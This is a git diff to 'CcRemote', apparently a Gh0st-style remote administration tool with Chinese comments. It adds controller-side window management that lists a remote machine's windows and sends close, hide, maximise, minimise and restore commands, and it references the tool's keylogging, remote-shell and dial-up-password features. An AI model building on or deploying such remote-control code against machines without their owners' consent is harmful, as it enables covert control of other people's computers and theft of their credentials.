diff --git a/CcRemote/.vs/CcRemote/v15/.suo b/CcRemote/.vs/CcRemote/v15/.suo index 4dac745..9c5ae4b 100644 Binary files a/CcRemote/.vs/CcRemote/v15/.suo and b/CcRemote/.vs/CcRemote/v15/.suo differ diff --git a/CcRemote/CcRemote/CSystemDlg.cpp b/CcRemote/CcRemote/CSystemDlg.cpp index 60cc836..58474c3 100644 --- a/CcRemote/CcRemote/CSystemDlg.cpp +++ b/CcRemote/CcRemote/CSystemDlg.cpp @@ -15,9 +15,13 @@ IMPLEMENT_DYNAMIC(CSystemDlg, CDialog) CSystemDlg::CSystemDlg(CWnd* pParent /*=nullptr*/, CIOCPServer* pIOCPServer, ClientContext *pContext) : CDialog(IDD_SYSTEM, pParent) { - m_iocpServer = pIOCPServer; //就是一个赋值没什么特别的我们到oninitdialog + m_iocpServer = pIOCPServer; //参数赋值给成员变量 m_pContext = pContext; m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_SYSTEM)); + //这里判断是窗口管理还是进程管理因为进程管理的数据头是TOKEN_PSLIST + //窗口管理的数据头TOKEN_WSLIST 我们可以用这两个数据头来区分 + char *lpBuffer = (char *)(m_pContext->m_DeCompressionBuffer.GetBuffer(0)); + m_caseSyetemIs = lpBuffer[0]; } CSystemDlg::~CSystemDlg() @@ -27,19 +31,22 @@ CSystemDlg::~CSystemDlg() void CSystemDlg::DoDataExchange(CDataExchange* pDX) { CDialog::DoDataExchange(pDX); - DDX_Control(pDX, IDC_TAB, m_tab); - DDX_Control(pDX, IDC_LIST_WINDOWS, m_list_windows); - DDX_Control(pDX, IDC_LIST_PROCESS, m_list_process); + DDX_Control(pDX, IDC_LIST_PROCESS_OR_WINDOW, m_list_process_or_windows); } BEGIN_MESSAGE_MAP(CSystemDlg, CDialog) ON_WM_SIZE() ON_WM_CLOSE() - ON_NOTIFY(TCN_SELCHANGE, IDC_TAB, &CSystemDlg::OnTcnSelchangeTab) ON_COMMAND(IDM_KILLPROCESS, &CSystemDlg::OnKillprocess) ON_COMMAND(IDM_REFRESHPSLIST, &CSystemDlg::OnRefreshpslist) - ON_NOTIFY(NM_RCLICK, IDC_LIST_PROCESS, &CSystemDlg::OnNMRClickListProcess) + ON_NOTIFY(NM_RCLICK, IDC_LIST_PROCESS_OR_WINDOW, &CSystemDlg::OnNMRClickListProcess) + ON_COMMAND(ID_WINDOW_CLOST, &CSystemDlg::OnWindowClost) + ON_COMMAND(ID_WINDOW_HIDE, &CSystemDlg::OnWindowHide) + ON_COMMAND(ID_WINDOW_MAX, &CSystemDlg::OnWindowMax) + ON_COMMAND(ID_WINDOW_MIN, &CSystemDlg::OnWindowMin) + ON_COMMAND(ID_WINDOW_RETURN, &CSystemDlg::OnWindowReturn) + ON_COMMAND(ID_WINDOW_REFLUSH, &CSystemDlg::OnWindowReflush) END_MESSAGE_MAP() @@ -47,24 +54,20 @@ END_MESSAGE_MAP() void CSystemDlg::AdjustList(void) { - if (m_list_process.m_hWnd == NULL) + if (m_list_process_or_windows.m_hWnd == NULL) { return; } - if (m_list_windows.m_hWnd == NULL) - { - return; - RECT rectClient; - RECT rectList; - GetClientRect(&rectClient); - rectList.left = 0; - rectList.top = 29; - rectList.right = rectClient.right; - rectList.bottom = rectClient.bottom; + RECT rectClient; + RECT rectList; + GetClientRect(&rectClient); + rectList.left = 0; + rectList.top = 0; + rectList.right = rectClient.right; + rectList.bottom = rectClient.bottom; - m_list_process.MoveWindow(&rectList); - m_list_windows.MoveWindow(&rectList); - } + m_list_process_or_windows.MoveWindow(&rectList); + } @@ -84,33 +87,6 @@ void CSystemDlg::OnClose() } -void CSystemDlg::OnTcnSelchangeTab(NMHDR *pNMHDR, LRESULT *pResult) -{ - // TODO: 在此添加控件通知处理程序代码 - ShowSelectWindow(); - *pResult = 0; -} - - - -void CSystemDlg::ShowSelectWindow(void) -{ - switch (m_tab.GetCurSel()) - { - case 0: - m_list_windows.ShowWindow(SW_HIDE); - m_list_process.ShowWindow(SW_SHOW); - if (m_list_process.GetItemCount() == 0) - GetProcessList(); - break; - case 1: - m_list_windows.ShowWindow(SW_SHOW); - m_list_process.ShowWindow(SW_HIDE); - if (m_list_windows.GetItemCount() == 0) - //GetWindowsList(); - break; - } -} void CSystemDlg::GetProcessList(void) @@ -139,23 +115,23 @@ BOOL CSystemDlg::OnInitDialog() SetWindowText(str);//设置对话框标题 - m_tab.InsertItem(0, "进程管理"); //为tab设置标题 - m_tab.InsertItem(1, "窗口管理"); - m_tab.InsertItem(2, "拨号密码"); - - m_list_process.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT); //初始化进程的列表 - m_list_process.InsertColumn(0, "映像名称", LVCFMT_LEFT, 100); - m_list_process.InsertColumn(1, "PID", LVCFMT_LEFT, 50); - m_list_process.InsertColumn(2, "程序路径", LVCFMT_LEFT, 400); - - m_list_windows.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT); //初始化 窗口管理的列表 - m_list_windows.InsertColumn(0, "PID", LVCFMT_LEFT, 50); - m_list_windows.InsertColumn(1, "窗口名称", LVCFMT_LEFT, 300); - - + if (m_caseSyetemIs == TOKEN_PSLIST) //进程管理初始化列表 + { + m_list_process_or_windows.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT); //初始化进程的列表 + m_list_process_or_windows.InsertColumn(0, "映像名称", LVCFMT_LEFT, 100); + m_list_process_or_windows.InsertColumn(1, "PID", LVCFMT_LEFT, 50); + m_list_process_or_windows.InsertColumn(2, "程序路径", LVCFMT_LEFT, 400); + ShowProcessList(); //由于第一个发送来的消息后面紧跟着进程的数据所以把数据显示到列表当中 + } + else if (m_caseSyetemIs == TOKEN_WSLIST)//窗口管理初始化列表 + { + m_list_process_or_windows.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT); //初始化 窗口管理的列表 + m_list_process_or_windows.InsertColumn(0, "PID", LVCFMT_LEFT, 50); + m_list_process_or_windows.InsertColumn(1, "窗口名称", LVCFMT_LEFT, 300); + m_list_process_or_windows.InsertColumn(2, "窗口状态", LVCFMT_LEFT, 300); + ShowWindowsList(); + } AdjustList(); //各个列表的大小 - ShowProcessList(); //由于第一个发送来的消息后面紧跟着进程的数据所以把数据显示到列表当中 - ShowSelectWindow(); //显示列表 return TRUE; // return TRUE unless you set the focus to a control // 异常: OCX 属性页应返回 FALSE } @@ -168,7 +144,7 @@ void CSystemDlg::ShowProcessList(void) char *strProcessName; DWORD dwOffset = 0; CString str; - m_list_process.DeleteAllItems(); + m_list_process_or_windows.DeleteAllItems(); //遍历发送来的每一个字符 数据结构 Id+进程名+0+完整名+0 int i; for (i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++) @@ -178,12 +154,12 @@ void CSystemDlg::ShowProcessList(void) strProcessName = strExeFile + lstrlen(strExeFile) + 1; //完整名就是进程名之后的 //数据结构构建巧妙 - m_list_process.InsertItem(i, strExeFile); //将得到的数据加入到列表当中 + m_list_process_or_windows.InsertItem(i, strExeFile); //将得到的数据加入到列表当中 str.Format("%5u", *lpPID); - m_list_process.SetItemText(i, 1, str); - m_list_process.SetItemText(i, 2, strProcessName); + m_list_process_or_windows.SetItemText(i, 1, str); + m_list_process_or_windows.SetItemText(i, 2, strProcessName); // ItemData 为进程ID - m_list_process.SetItemData(i, *lpPID); + m_list_process_or_windows.SetItemData(i, *lpPID); dwOffset += sizeof(DWORD) + lstrlen(strExeFile) + lstrlen(strProcessName) + 2; //跳过这个数据结构 进入下一个循环 } @@ -193,7 +169,7 @@ void CSystemDlg::ShowProcessList(void) lvc.mask = LVCF_TEXT; lvc.pszText = str.GetBuffer(0); lvc.cchTextMax = str.GetLength(); - m_list_process.SetColumn(2, &lvc); //在列表中显示有多少个进程 + m_list_process_or_windows.SetColumn(2, &lvc); //在列表中显示有多少个进程 } @@ -201,10 +177,10 @@ void CSystemDlg::OnKillprocess() { // TODO: 在此添加命令处理程序代码 CListCtrl *pListCtrl = NULL; - if (m_list_process.IsWindowVisible()) - pListCtrl = &m_list_process; - else if (m_list_windows.IsWindowVisible()) - pListCtrl = &m_list_windows; + if (m_list_process_or_windows.IsWindowVisible()) + pListCtrl = &m_list_process_or_windows; + else if (m_list_process_or_windows.IsWindowVisible()) + pListCtrl = &m_list_process_or_windows; else return; @@ -244,11 +220,57 @@ void CSystemDlg::OnKillprocess() LocalFree(lpBuffer); } +void CSystemDlg::ShowWindowsList(void) +{ + LPBYTE lpBuffer = (LPBYTE)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)); + DWORD dwOffset = 0; + char *lpTitle = NULL; + //m_list_process.DeleteAllItems(); + bool isDel = false; + do + { + isDel = false; + for (int j = 0; j < m_list_process_or_windows.GetItemCount(); j++) + { + CString temp = m_list_process_or_windows.GetItemText(j, 2); + CString restr = "隐藏"; + if (temp != restr) + { + m_list_process_or_windows.DeleteItem(j); + isDel = true; + break; + } + } + + } while (isDel); + CString str; + int i; + for (i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++) + { + LPDWORD lpPID = LPDWORD(lpBuffer + dwOffset); + lpTitle = (char *)lpBuffer + dwOffset + sizeof(DWORD); + str.Format("%5u", *lpPID); + m_list_process_or_windows.InsertItem(i, str); + m_list_process_or_windows.SetItemText(i, 1, lpTitle); + m_list_process_or_windows.SetItemText(i, 2, "显示"); //(d) 将窗口状态显示为 "显示" + // ItemData 为窗口句柄 + m_list_process_or_windows.SetItemData(i, *lpPID); //(d) + dwOffset += sizeof(DWORD) + lstrlen(lpTitle) + 1; + } + str.Format("窗口名称 / %d", i); + LVCOLUMN lvc; + lvc.mask = LVCF_TEXT; + lvc.pszText = str.GetBuffer(0); + lvc.cchTextMax = str.GetLength(); + m_list_process_or_windows.SetColumn(1, &lvc); + +} + void CSystemDlg::OnRefreshpslist() { // TODO: 在此添加命令处理程序代码 - if (m_list_process.IsWindowVisible()) + if (m_list_process_or_windows.IsWindowVisible()) GetProcessList(); //if (m_list_windows.IsWindowVisible()) //GetWindowsList(); @@ -260,7 +282,14 @@ void CSystemDlg::OnNMRClickListProcess(NMHDR *pNMHDR, LRESULT *pResult) LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast(pNMHDR); // TODO: 在此添加控件通知处理程序代码 CMenu popup; - popup.LoadMenu(IDR_PSLIST); + if (m_caseSyetemIs == TOKEN_PSLIST) //进程管理初始化列表 + { + popup.LoadMenu(IDR_PSLIST); + } + else if (m_caseSyetemIs == TOKEN_WSLIST) + { + popup.LoadMenu(IDR_WINDOW_LIST); + } CMenu* pM = popup.GetSubMenu(0); CPoint p; GetCursorPos(&p); @@ -277,9 +306,9 @@ void CSystemDlg::OnReceiveComplete(void) case TOKEN_PSLIST: ShowProcessList(); break; - //case TOKEN_WSLIST: - //ShowWindowsList(); - //break; + case TOKEN_WSLIST: + ShowWindowsList(); + break; //case TOKEN_DIALUPASS: //ShowDialupassList(); //break; @@ -289,3 +318,130 @@ void CSystemDlg::OnReceiveComplete(void) } } + + +void CSystemDlg::OnWindowClost() +{ + // TODO: 在此添加命令处理程序代码 + BYTE lpMsgBuf[20]; + CListCtrl *pListCtrl = NULL; + pListCtrl = &m_list_process_or_windows; + + int nItem = pListCtrl->GetSelectionMark(); + if (nItem >= 0) + { + ZeroMemory(lpMsgBuf, 20); + lpMsgBuf[0] = COMMAND_WINDOW_CLOSE; //注意这个就是我们的数据头 + DWORD hwnd = pListCtrl->GetItemData(nItem); //得到窗口的句柄一同发送 + memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); + m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf)); + + } +} + + +void CSystemDlg::OnWindowHide() +{ + // TODO: 在此添加命令处理程序代码 + BYTE lpMsgBuf[20]; + CListCtrl *pListCtrl = NULL; + pListCtrl = &m_list_process_or_windows; + + int nItem = pListCtrl->GetSelectionMark(); + if (nItem >= 0) + { + ZeroMemory(lpMsgBuf, 20); + lpMsgBuf[0] = COMMAND_WINDOW_TEST; //窗口处理数据头 + DWORD hwnd = pListCtrl->GetItemData(nItem); //得到窗口的句柄一同发送 + pListCtrl->SetItemText(nItem, 2, "隐藏"); //注意这时将列表中的显示状态为"隐藏" + //这样在删除列表条目时就不删除该项了 如果删除该项窗口句柄会丢失 就永远也不能显示了 + memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); //得到窗口的句柄一同发送 + DWORD dHow = SW_HIDE; //窗口处理参数 0 + memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD)); + m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf)); + } +} + +void CSystemDlg::OnWindowMax() +{ + // TODO: 在此添加命令处理程序代码 + BYTE lpMsgBuf[20]; + CListCtrl *pListCtrl = NULL; + pListCtrl = &m_list_process_or_windows; + + int nItem = pListCtrl->GetSelectionMark(); + if (nItem >= 0) + { + ZeroMemory(lpMsgBuf, 20); + lpMsgBuf[0] = COMMAND_WINDOW_TEST; //同上 + DWORD hwnd = pListCtrl->GetItemData(nItem); //同上 + pListCtrl->SetItemText(nItem, 2, "显示"); //将状态改为显示 + memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); + DWORD dHow = SW_MAXIMIZE; //同上 + memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD)); + m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf)); + + } + // TODO: 在此添加命令处理程序代码 +} + + +void CSystemDlg::OnWindowMin() +{ + // TODO: 在此添加命令处理程序代码 + // TODO: 在此添加命令处理程序代码 + BYTE lpMsgBuf[20]; + CListCtrl *pListCtrl = NULL; + pListCtrl = &m_list_process_or_windows; + + int nItem = pListCtrl->GetSelectionMark(); + if (nItem >= 0) + { + ZeroMemory(lpMsgBuf, 20); + lpMsgBuf[0] = COMMAND_WINDOW_TEST; + DWORD hwnd = pListCtrl->GetItemData(nItem); + pListCtrl->SetItemText(nItem, 2, "显示"); + memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); + DWORD dHow = SW_MINIMIZE; + memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD)); + m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf)); + + } +} + + +void CSystemDlg::OnWindowReturn() +{ + // TODO: 在此添加命令处理程序代码 + BYTE lpMsgBuf[20]; + CListCtrl *pListCtrl = NULL; + pListCtrl = &m_list_process_or_windows; + + int nItem = pListCtrl->GetSelectionMark(); + if (nItem >= 0) + { + ZeroMemory(lpMsgBuf, 20); + lpMsgBuf[0] = COMMAND_WINDOW_TEST; + DWORD hwnd = pListCtrl->GetItemData(nItem); + pListCtrl->SetItemText(nItem, 2, "显示"); + memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); + DWORD dHow = SW_RESTORE; + memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD)); + m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf)); + + } +} + + +void CSystemDlg::OnWindowReflush() +{ + // TODO: 在此添加命令处理程序代码 + GetWindowsList(); +} + + +void CSystemDlg::GetWindowsList(void) +{ + BYTE bToken = COMMAND_WSLIST; + m_iocpServer->Send(m_pContext, &bToken, 1); +} diff --git a/CcRemote/CcRemote/CSystemDlg.h b/CcRemote/CcRemote/CSystemDlg.h index 6b2e8c5..b6ea15e 100644 --- a/CcRemote/CcRemote/CSystemDlg.h +++ b/CcRemote/CcRemote/CSystemDlg.h @@ -21,29 +21,34 @@ protected: DECLARE_MESSAGE_MAP() public: - CTabCtrl m_tab; - CListCtrl m_list_windows; - CListCtrl m_list_process; + CListCtrl m_list_process_or_windows; private: HICON m_hIcon; ClientContext* m_pContext; CIOCPServer* m_iocpServer; + BYTE m_caseSyetemIs; //用来区分窗口管理和进程管理 private: void AdjustList(void); - void ShowSelectWindow(void); void GetProcessList(void); public: + virtual BOOL OnInitDialog(); afx_msg void OnSize(UINT nType, int cx, int cy); afx_msg void OnClose(); - afx_msg void OnTcnSelchangeTab(NMHDR *pNMHDR, LRESULT *pResult); - virtual BOOL OnInitDialog(); - void ShowProcessList(void); afx_msg void OnKillprocess(); afx_msg void OnRefreshpslist(); afx_msg void OnNMRClickListProcess(NMHDR *pNMHDR, LRESULT *pResult); + afx_msg void OnWindowClost(); + afx_msg void OnWindowHide(); + afx_msg void OnWindowMax(); + afx_msg void OnWindowMin(); + afx_msg void OnWindowReturn(); + afx_msg void OnWindowReflush(); + void GetWindowsList(void); void OnReceiveComplete(void); + void ShowProcessList(void); + void ShowWindowsList(void); }; diff --git a/CcRemote/CcRemote/CcRemote.rc b/CcRemote/CcRemote/CcRemote.rc index 2fcc36c..656cb42 100644 Binary files a/CcRemote/CcRemote/CcRemote.rc and b/CcRemote/CcRemote/CcRemote.rc differ diff --git a/CcRemote/CcRemote/CcRemoteDlg.cpp b/CcRemote/CcRemote/CcRemoteDlg.cpp index 13415e6..97c85d5 100644 --- a/CcRemote/CcRemote/CcRemoteDlg.cpp +++ b/CcRemote/CcRemote/CcRemoteDlg.cpp @@ -536,6 +536,8 @@ void CCcRemoteDlg::OnOnlineVideo() void CCcRemoteDlg::OnOnlineWindow() { // TODO: 在此添加命令处理程序代码 + BYTE bToken = COMMAND_WSLIST; + SendSelectCommand(&bToken, sizeof(BYTE)); } @@ -821,6 +823,9 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext) case TOKEN_KEYBOARD_START: g_pConnectView->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext); break;*/ + + //进程遍历和窗口遍历公用的一个窗口类,在构造判断判断下类型来显示不同的数据 + case TOKEN_WSLIST: case TOKEN_PSLIST: g_pCcRemoteDlg->PostMessage(WM_OPENPSLISTDIALOG, 0, (LPARAM)pContext); break; diff --git a/CcRemote/CcRemote/Release/CcRemote.log b/CcRemote/CcRemote/Release/CcRemote.log index acb3e7f..1b20444 100644 --- a/CcRemote/CcRemote/Release/CcRemote.log +++ b/CcRemote/CcRemote/Release/CcRemote.log @@ -8,8 +8,8 @@ f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(166): warning C4996: 'inet_n d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(307): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据 f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(324): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据 -f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(792): warning C4018: “<=”: 有符号/无符号不匹配 -f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(871): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings +f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(794): warning C4018: “<=”: 有符号/无符号不匹配 +f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(876): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 CSettingDlg.cpp CShellDlg.cpp @@ -19,7 +19,7 @@ f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(208): warning C4018: “<=”: 有符号/无符号不匹配 f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(218): warning C4018: “<”: 有符号/无符号不匹配 CSystemDlg.cpp -f:\myapp\ccremote\ccremote\ccremote\csystemdlg.cpp(138): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings +f:\myapp\ccremote\ccremote\ccremote\csystemdlg.cpp(114): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 CpuUsage.cpp IniFile.cpp @@ -36,6 +36,6 @@ f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(718): warning C4996: f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(767): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据 f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(913): warning C4018: “>=”: 有符号/无符号不匹配 正在生成代码 - All 479 functions were compiled because no usable IPDB/IOBJ from previous compilation was found. + All 486 functions were compiled because no usable IPDB/IOBJ from previous compilation was found. 已完成代码的生成 CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe diff --git a/CcRemote/CcRemote/Release/CcRemote.res b/CcRemote/CcRemote/Release/CcRemote.res index f768088..dec575b 100644 Binary files a/CcRemote/CcRemote/Release/CcRemote.res and b/CcRemote/CcRemote/Release/CcRemote.res differ diff --git a/CcRemote/CcRemote/resource.h b/CcRemote/CcRemote/resource.h index a85f3fa..997bbca 100644 --- a/CcRemote/CcRemote/resource.h +++ b/CcRemote/CcRemote/resource.h @@ -25,6 +25,7 @@ #define IDI_SYSTEM 146 #define IDR_MENU4 147 #define IDR_PSLIST 147 +#define IDR_WINDOW_LIST 148 #define IDC_ONLINE 1000 #define IDC_LIST2 1001 #define IDC_MESSAGE 1001 @@ -33,7 +34,8 @@ #define IDC_EDIT 1003 #define IDC_TAB 1004 #define IDC_LIST_WINDOWS 1005 -#define IDC_LIST_PROCESS 1006 +#define IDC_LIST_PROCESS_OR_WINDOW 1006 +#define IDC_LIST_PROCESS_OR_WINDOW_OR_WINDOW 1006 #define ID_ONLINE_32771 32771 #define ID_ONLINE_32772 32772 #define ID_ONLINE_32773 32773 @@ -83,13 +85,31 @@ #define ID_PSLIST_32818 32818 #define IDM_KILLPROCESS 32819 #define IDM_REFRESHPSLIST 32820 +#define ID_WINDOW_32821 32821 +#define ID_WINDOW_32822 32822 +#define ID_WINDOW_32823 32823 +#define ID_WINDOW_32824 32824 +#define ID_WINDOW_32825 32825 +#define ID_WINDOW_32826 32826 +#define ID_WINDOW_32827 32827 +#define ID_WINDOW_32828 32828 +#define ID_WINDOW_U32829 32829 +#define ID_WINDOW_32830 32830 +#define ID_WINDOW_32831 32831 +#define ID_WINDOW_REFLUSH 32832 +#define ID_WINDOW_CLOST 32833 +#define ID_WINDOW_HIDE 32834 +#define ID_WINDOW_RETURN 32835 +#define ID_WINDOW_MAX 32836 +#define ID_WINDOW_MIN 32837 +#define ID_WINDOW_S 32838 // Next default values for new objects // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS -#define _APS_NEXT_RESOURCE_VALUE 148 -#define _APS_NEXT_COMMAND_VALUE 32821 +#define _APS_NEXT_RESOURCE_VALUE 149 +#define _APS_NEXT_COMMAND_VALUE 32839 #define _APS_NEXT_CONTROL_VALUE 1006 #define _APS_NEXT_SYMED_VALUE 101 #endif diff --git a/bin/CcRemote.exe b/bin/CcRemote.exe index ede24a9..d038231 100644 Binary files a/bin/CcRemote.exe and b/bin/CcRemote.exe differ